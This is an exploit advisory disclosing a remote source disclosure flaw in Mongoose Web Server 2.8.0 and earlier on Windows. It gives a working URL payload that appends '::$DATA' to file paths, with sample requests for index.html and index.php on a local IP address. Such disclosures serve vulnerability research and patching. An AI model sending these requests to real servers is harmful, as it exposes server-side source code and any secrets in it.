Mongoose Web Server versions 2.8.0 and below suffer from a remote source disclosure vulnerability.
abaf4a5c974c4287f018e8c66823ccd3d87043abdb1d88ed986b9cb2fd2ac270
#######################################################
#
# Mongoose Web Server <= 2.8.0 Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: http://code.google.com/p/mongoose/
#
#######################################################
- Description -
Mongoose Web Server <= 2.8.0 is a Windows based HTTP server.
This is the latest version of the application available.
Mongoose is vulnerable to remote arbitrary source code
disclosure by the following means.
- Technical Details -
http://[ webserver IP][:port]/[ file ][::$DATA]
http://172.16.2.101:8080/index.html::$DATA
http://172.16.2.101:8080/index.php::$DATA
[pocoftheday.blogspot.com]